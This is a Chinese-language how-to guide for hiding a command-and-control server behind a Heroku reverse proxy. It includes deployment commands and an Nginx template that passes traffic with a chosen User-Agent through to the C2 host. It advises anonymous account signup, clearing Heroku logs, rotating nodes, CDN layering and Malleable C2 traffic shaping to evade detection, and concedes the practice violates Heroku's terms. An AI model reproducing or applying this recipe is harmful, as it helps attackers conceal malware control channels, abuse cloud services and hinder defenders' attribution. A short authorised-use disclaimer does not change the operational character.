Heroku反向代理隐藏C2域名技术指南

技术概述

本技术利用Heroku平台搭建反向代理服务器，用于隐藏C2(Command and Control)服务器的真实域名，提高红队行动的隐蔽性。通过Heroku的免费服务创建代理节点，结合Nginx的过滤规则，实现请求的智能转发。

准备工作

必要工具

1. Heroku账号（可匿名注册）
2. Linux服务器/VPS
3. 已安装的软件：
   • Docker
   • Git
   • Heroku CLI

环境配置

1. 安装Heroku CLI：

   # 参考官方文档安装
   curl https://cli-assets.heroku.com/install.sh | sh
   

2. 登录Heroku账号：

   heroku login
   

   注意：此步骤需要浏览器交互，可通过以下方式解决：
   • 安装桌面环境远程访问
   • 使用代理工具(chisel/socat/SSH隧道/frp/nps等)将VPS流量代理到本地

实施步骤

1. 获取基础代码

git clone https://github.com/heroku-docker-nginx-example.git
cd heroku-docker-nginx-example

2. 配置Nginx反向代理

修改default.conf.template文件：

server {
    listen $PORT;
    location / {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        if ($http_user_agent = "Mozilla/1.0 (Windows NT 5.0; …)") {
            proxy_pass http://你的C2域名或IP:80;
        }
        root   /usr/share/nginx/html;
        index  index.html;
    }
}

关键配置说明：

• $PORT: Heroku自动提供的端口变量
• X-Forwarded-For: 保留客户端真实IP
• http_user_agent: 可设置特定UA过滤条件
• proxy_pass: 转发到真实的C2服务器

3. 部署到Heroku

1. 登录Heroku容器服务：

   heroku container:login
   

2. 创建应用（可指定名称或随机生成）：

   heroku create [应用名称]
   

3. 构建并推送容器：

   heroku container:push web -a [应用名称]
   

4. 发布应用：

   heroku container:release web -a [应用名称]
   

4. 应用管理

• 访问地址：https://[应用名称].herokuapp.com
• 可在Heroku控制面板重命名应用
• 删除重建：直接删除应用后重复部署流程

技术细节

流量分析

• 所有流量将通过Heroku的服务器转发
• 抓包显示为herokuapp.com域名
• 受害者IP会通过X-Forwarded-For头传递

协议支持

• 仅支持HTTP协议（默认80端口）
• HTTPS需要额外申请证书（会最终转为HTTP）

过滤机制

可通过以下方式增强隐蔽性：

1. User-Agent匹配
2. Host头过滤
3. 特定路径匹配
4. 结合Malleable C2配置文件

优缺点分析

优点

1. 高隐蔽性：显示为Heroku官方域名
2. 弹性部署：可快速删除重建应用
3. 免费资源：利用Heroku免费额度
4. IP多样性：Heroku使用多个IP地址

缺点

1. 协议限制：仅支持HTTP
2. 性能影响：增加中间跳转延迟
3. 服务条款：违反Heroku政策可能导致封号
4. 日志留存：Heroku可能保留访问日志

高级技巧

1. CDN叠加：可在Heroku前再加一层CDN
2. 多节点部署：创建多个Heroku应用实现负载均衡
3. 动态过滤：结合Malleable C2实现复杂流量特征匹配
4. 自动化脚本：编写部署脚本实现一键重建

注意事项

1. 严格遵守当地法律法规，仅在授权测试中使用
2. 避免滥用Heroku服务导致账号被封
3. 定期更换应用节点提高隐蔽性
4. 监控Heroku应用的流量和性能指标

应急方案

1. 快速切换：预先准备多个应用名称模板
2. 备用平台：准备类似平台方案（如Vercel、Netlify）
3. 日志清理：定期清理Heroku应用日志
4. 监控告警：设置下线告警机制

通过以上方法，可以有效隐藏C2服务器的真实地址，提高红队行动的隐蔽性和持久性。请合理使用该技术，遵守网络安全法律法规。